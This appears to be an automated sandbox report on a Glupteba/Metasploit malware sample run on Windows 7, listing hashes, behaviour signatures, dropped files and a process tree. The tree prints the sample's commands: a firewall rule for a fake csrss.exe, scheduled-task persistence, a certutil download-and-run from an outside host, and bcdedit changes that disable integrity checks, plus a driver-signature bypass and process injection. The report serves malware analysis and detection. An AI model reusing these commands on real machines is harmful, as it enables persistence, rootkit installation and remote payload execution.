Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    04-10-2024 20:11

General

  • Target

    14c589ee90fb620a15781610a7ff247b_JaffaCakes118.exe

  • Size

    4.4MB

  • MD5

    14c589ee90fb620a15781610a7ff247b

  • SHA1

    5f0cd44258c3dfce50c704493270fb0eeee6d873

  • SHA256

    6a29cc74a5e4c341dbb8e7d1cc9411b7de3ad8fd5eaeb04f3bc74d204852a835

  • SHA512

    dba0c8c19331a33e9e927df6319640bd591e98cb8324a6a1f8bb60970cdcce0ec8e8d3809a26e1ba9a56525001bacb67141dc2bb52446cc22c514891e974fa68

  • SSDEEP

    98304:jIWgd2ErDf6cJoycz/ALDnaOfZISMcM7sTXjaCFhXy4lIcVE:jy2of3oye4Dn7u0MuXjaCRh

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Windows security bypass 2 TTPs 10 IoCs
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 13 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Drops file in System32 directory 6 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 3 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\14c589ee90fb620a15781610a7ff247b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\14c589ee90fb620a15781610a7ff247b_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2748
    • C:\Users\Admin\AppData\Local\Temp\14c589ee90fb620a15781610a7ff247b_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\14c589ee90fb620a15781610a7ff247b_JaffaCakes118.exe"
      2⤵
      • Windows security bypass
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2092
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:580
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          • Modifies data under HKEY_USERS
          PID:2828
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Loads dropped DLL
        • Manipulates WinMon driver.
        • Manipulates WinMonFS driver.
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2068
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:316
        • C:\Windows\system32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2924
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Modifies system certificate store
          • Suspicious use of WriteProcessMemory
          PID:1968
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2012
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1084
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2132
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2084
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1824
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2928
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2588
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1332
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1804
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:644
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1288
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2340
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2480
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:856
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Executes dropped EXE
          PID:2096
        • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          PID:1744
  • C:\Windows\system32\makecab.exe
    "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20241004201149.log C:\Windows\Logs\CBS\CbsPersist_20241004201149.cab
    1⤵
    • Drops file in Windows directory
    PID:2692

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\AAF33CF37E194E98957768CF9C02DE8E2\download.error

    Filesize

    8.3MB

    MD5

    fd2727132edd0b59fa33733daa11d9ef

    SHA1

    63e36198d90c4c2b9b09dd6786b82aba5f03d29a

    SHA256

    3a72dbedc490773f90e241c8b3b839383a63ce36426a4f330a0f754b14b4d23e

    SHA512

    3e251be7d0e8db92d50092a4c4be3c74f42f3d564c72981f43a8e0fe06427513bfa0f67821a61a503a4f85741f0b150280389f8f4b4f01cdfd98edce5af29e6e

  • C:\Users\Admin\AppData\Local\Temp\Symbols\winload_prod.pdb\768283CA443847FB8822F9DB1F36ECC51\download.error

    Filesize

    492KB

    MD5

    fafbf2197151d5ce947872a4b0bcbe16

    SHA1

    a86eaa2dd9fc6d36fcfb41df7ead8d1166aea020

    SHA256

    feb122b7916a1e62a7a6ae8d25ea48a2efc86f6e6384f5526e18ffbfc5f5ff71

    SHA512

    acbd49a111704d001a4ae44d1a071d566452f92311c5c0099d57548eddc9b3393224792c602022df5c3dd19b0a1fb4eff965bf038c8783ae109336699f9d13f6

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe

    Filesize

    94KB

    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

    Filesize

    281KB

    MD5

    d98e33b66343e7c96158444127a117f6

    SHA1

    bb716c5509a2bf345c6c1152f6e3e1452d39d50d

    SHA256

    5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

    SHA512

    705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

  • C:\Users\Admin\AppData\Local\Temp\osloader.exe

    Filesize

    591KB

    MD5

    e2f68dc7fbd6e0bf031ca3809a739346

    SHA1

    9c35494898e65c8a62887f28e04c0359ab6f63f5

    SHA256

    b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

    SHA512

    26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    1KB

    MD5

    a266bb7dcc38a562631361bbf61dd11b

    SHA1

    3b1efd3a66ea28b16697394703a72ca340a05bd5

    SHA256

    df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e

    SHA512

    0da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc

  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    ddcf02fa400958b4d33e3206e66b7209

    SHA1

    fd2358ffa00de317cd21548dd366e1738dcac977

    SHA256

    09b23e352395e9dc6eb38b454710c6b8f3e1701b3ccbf8e39666d0f6022d0acb

    SHA512

    e4722cbff1e5a51052a082ad8410a3f47b5b17d1f32da686eb3cd964a067dfc84db794b5886b9fda6855548176b2644de9b7e02954a0c54a11e36f1f368ca6f5

  • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357

    Filesize

    242B

    MD5

    61fb652af6842a61f61b4429fb873c52

    SHA1

    4e558cbae13cd4cb482a5098a4744623763b303f

    SHA256

    72e01925d761d1f30bd055149b6f91fd6ff632fd53ee64ff7027bff830b631d1

    SHA512

    feab66806af1deff97f720017fd6fff797fa7686652d6ab98ea4a8b5285f4ff4216386e41d720656c24d38ce6e20b245780af79e7b9a95408d400bb92558b642

  • C:\Windows\Temp\CabB193.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Windows\Temp\TarB252.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • \Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll

    Filesize

    1.5MB

    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

    Filesize

    5.3MB

    MD5

    1afff8d5352aecef2ecd47ffa02d7f7d

    SHA1

    8b115b84efdb3a1b87f750d35822b2609e665bef

    SHA256

    c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

    SHA512

    e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

  • \Users\Admin\AppData\Local\Temp\symsrv.dll

    Filesize

    163KB

    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • \Windows\rss\csrss.exe

    Filesize

    4.4MB

    MD5

    14c589ee90fb620a15781610a7ff247b

    SHA1

    5f0cd44258c3dfce50c704493270fb0eeee6d873

    SHA256

    6a29cc74a5e4c341dbb8e7d1cc9411b7de3ad8fd5eaeb04f3bc74d204852a835

    SHA512

    dba0c8c19331a33e9e927df6319640bd591e98cb8324a6a1f8bb60970cdcce0ec8e8d3809a26e1ba9a56525001bacb67141dc2bb52446cc22c514891e974fa68

  • memory/1968-40-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1968-26-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/2068-18-0x0000000001130000-0x000000000156B000-memory.dmp

    Filesize

    4.2MB

  • memory/2068-246-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-310-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-309-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-308-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-307-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-306-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-168-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-305-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-299-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-298-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-297-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-245-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-67-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2068-295-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2092-5-0x0000000001160000-0x000000000159B000-memory.dmp

    Filesize

    4.2MB

  • memory/2092-8-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2092-19-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2748-2-0x00000000013C0000-0x0000000001CDE000-memory.dmp

    Filesize

    9.1MB

  • memory/2748-3-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2748-4-0x0000000000400000-0x0000000000D39000-memory.dmp

    Filesize

    9.2MB

  • memory/2748-1-0x0000000000F80000-0x00000000013BB000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-6-0x0000000000F80000-0x00000000013BB000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-7-0x00000000013C0000-0x0000000001CDE000-memory.dmp

    Filesize

    9.1MB

  • memory/2748-0-0x0000000000F80000-0x00000000013BB000-memory.dmp

    Filesize

    4.2MB